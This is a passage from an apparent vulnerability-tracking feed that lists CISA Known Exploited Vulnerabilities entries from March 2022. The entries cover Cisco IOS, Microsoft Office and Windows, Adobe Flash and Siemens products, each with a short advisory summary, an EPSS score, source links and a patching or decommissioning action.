Microsoft Malware Protection Engine Improper Restriction of Operations Vulnerability (Mar 3, 2022). The Microsoft Malware Protection Engine running on Microsoft Forefront and Microsoft Defender on Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016, Microsoft Exchange Server 2013 and 2016, does not properly scan a specially crafted file leading to memory corruption. aka "Microsoft Malware Protection Engine Remote Code Execution Vulnerability". EPSS 71.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-8540&date=2026-10-25). Sources: CISA KEV entry CVE-2017-8540: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-8540&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software SNMP Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-6744 Cisco IOS Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022). The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS 1 contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload. An attacker could exploit these vulnerabilities by sending a crafted SNMP packet to an affected system via IPv4 or IPv6. EPSS 7.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6744&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6744: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6744&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-6743 Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022). The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code. EPSS 10.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6743&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6743: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6743&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-6740 Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022). The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload. EPSS 11.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6740&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6740: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6740&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-6739 Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022). The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload. EPSS 10.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6739&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6739: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6739&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-6738 Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022). The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code. EPSS 10.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6738&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6738: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6738&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-6737 Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022). The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code. EPSS 45.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6737&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6737: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6737&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-6736 Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022). The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code. EPSS 70.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6736&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6736: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6736&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software and Cisco IOS XE Software Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2017-6663 Cisco IOS Software and Cisco IOS XE Software Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the Autonomic Networking feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, adjacent attacker to cause autonomic nodes of an affected system to reload, resulting in denial-of-service (DoS). EPSS 2.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6663&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6663: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6663&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software and Cisco IOS XE Software UDP Packet Processing Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2017-6627 Cisco IOS Software and Cisco IOS XE Software UDP Packet Processing Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the UDP processing code of Cisco IOS and IOS XE could allow an unauthenticated, remote attacker to cause the input queue of an affected system to hold UDP packets, causing an interface queue wedge and denial of service. EPSS 6.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6627&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6627: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6627&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS XE Software Ethernet Virtual Private Network Border Gateway Protocol Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2017-12319 Cisco IOS XE Software Ethernet Virtual Private Network Border Gateway Protocol Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the Border Gateway Protocol (BGP) over an Ethernet Virtual Private Network (EVPN) for Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause the device to reload, resulting in a denial of service (DoS) condition, or potentially corrupt the BGP routing table, which could result in network instability. EPSS 5.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12319&date=2026-10-25). Sources: CISA KEV entry CVE-2017-12319: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12319&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Software DHCP Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-12240 Cisco IOS and IOS XE Software DHCP Remote Code Execution Vulnerability (Mar 3, 2022). The Dynamic Host Configuration Protocol (DHCP) relay subsystem of Cisco IOS and Cisco IOS XE Software contains a vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary code and gain full control of an affected system. EPSS 13.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12240&date=2026-10-25). Sources: CISA KEV entry CVE-2017-12240: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12240&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Catalyst 6800 Series Switches VPLS Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2017-12238 Cisco Catalyst 6800 Series Switches VPLS Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the Virtual Private LAN Service (VPLS) code of Cisco IOS for Cisco Catalyst 6800 Series Switches could allow an unauthenticated, adjacent attacker to cause a denial of service. EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12238&date=2026-10-25). Sources: CISA KEV entry CVE-2017-12238: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12238&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Software Internet Key Exchange Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2017-12237 Cisco IOS and IOS XE Software Internet Key Exchange Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the Internet Key Exchange Version 2 (IKEv2) module of Cisco IOS and Cisco IOS XE could allow an unauthenticated, remote attacker to cause high CPU utilization, traceback messages, or a reload of an affected device that leads to a denial of service. EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12237&date=2026-10-25). Sources: CISA KEV entry CVE-2017-12237: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12237&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software for Cisco Industrial Ethernet Switches PROFINET Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2017-12235 Cisco IOS Software for Cisco Industrial Ethernet Switches PROFINET Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the implementation of the PROFINET Discovery and Configuration Protocol (PN-DCP) for Cisco IOS could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial of service. EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12235&date=2026-10-25). Sources: CISA KEV entry CVE-2017-12235: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12235&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software Common Industrial Protocol Request Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2017-12234 Cisco IOS Software Common Industrial Protocol Request Denial-of-Service Vulnerability (Mar 3, 2022). There is a vulnerability in the implementation of the Common Industrial Protocol (CIP) feature in Cisco IOS could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial of service. EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12234&date=2026-10-25). Sources: CISA KEV entry CVE-2017-12234: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12234&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software Common Industrial Protocol Request Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2017-12233 Cisco IOS Software Common Industrial Protocol Request Denial-of-Service Vulnerability (Mar 3, 2022). There is a vulnerability in the implementation of the Common Industrial Protocol (CIP) feature in Cisco IOS could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial of service. EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12233&date=2026-10-25). Sources: CISA KEV entry CVE-2017-12233: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12233&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software for Cisco Integrated Services Routers Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2017-12232 Cisco IOS Software for Cisco Integrated Services Routers Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the implementation of a protocol in Cisco Integrated Services Routers Generation 2 (ISR G2) Routers running Cisco IOS could allow an unauthenticated, adjacent attacker to cause an affected device to reload, resulting in a denial of service. EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12232&date=2026-10-25). Sources: CISA KEV entry CVE-2017-12232: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12232&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software Network Address Translation Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2017-12231 Cisco IOS Software Network Address Translation Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the implementation of Network Address Translation (NAT) functionality in Cisco IOS could allow an unauthenticated, remote attacker to cause a denial of service. EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12231&date=2026-10-25). Sources: CISA KEV entry CVE-2017-12231: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12231&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-11826 Microsoft Office Remote Code Execution Vulnerability (Mar 3, 2022). A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user. EPSS 81.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-11826&date=2026-10-25). Sources: CISA KEV entry CVE-2017-11826: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-11826&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Type Confusion Vulnerability https://kevwire.com/record/CVE-2017-11292 Adobe Flash Player Type Confusion Vulnerability (Mar 3, 2022). Adobe Flash Player contains a type confusion vulnerability which can allow for remote code execution. EPSS 11.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-11292&date=2026-10-25). Sources: CISA KEV entry CVE-2017-11292: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-11292&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Use-After-Free Vulnerability https://kevwire.com/record/CVE-2017-0261 Microsoft Office Use-After-Free Vulnerability (Mar 3, 2022). Microsoft Office contains a use-after-free vulnerability which can allow for remote code execution. EPSS 78.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0261&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0261: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0261&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Graphics Device Interface (GDI) Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2017-0001 Microsoft Graphics Device Interface (GDI) Privilege Escalation Vulnerability (Mar 3, 2022). The Graphics Device Interface (GDI) in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607 allows local users to gain privileges EPSS 3.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0001&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0001: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0001&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Siemens SIMATIC CP 1543-1 Improper Privilege Management Vulnerability https://kevwire.com/record/CVE-2016-8562 Siemens SIMATIC CP 1543-1 Improper Privilege Management Vulnerability (Mar 3, 2022). An improper privilege management vulnerability exists within the Siemens SIMATIC Communication Processor (CP) that allows a privileged attacker to remotely cause a denial of service. EPSS 3.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-8562&date=2026-10-25). Sources: CISA KEV entry CVE-2016-8562: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-8562&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Use-After-Free Vulnerability https://kevwire.com/record/CVE-2016-7855 Adobe Flash Player Use-After-Free Vulnerability (Mar 3, 2022). Use-after-free vulnerability in Adobe Flash Player Windows and OS and Linux allows remote attackers to execute arbitrary code. EPSS 25.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7855&date=2026-10-25). Sources: CISA KEV entry CVE-2016-7855: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7855&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2016-7262 Microsoft Office Security Feature Bypass Vulnerability (Mar 3, 2022). A security feature bypass vulnerability exists when Microsoft Office improperly handles input. An attacker who successfully exploited the vulnerability could execute arbitrary commands. EPSS 57.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7262&date=2026-10-25). Sources: CISA KEV entry 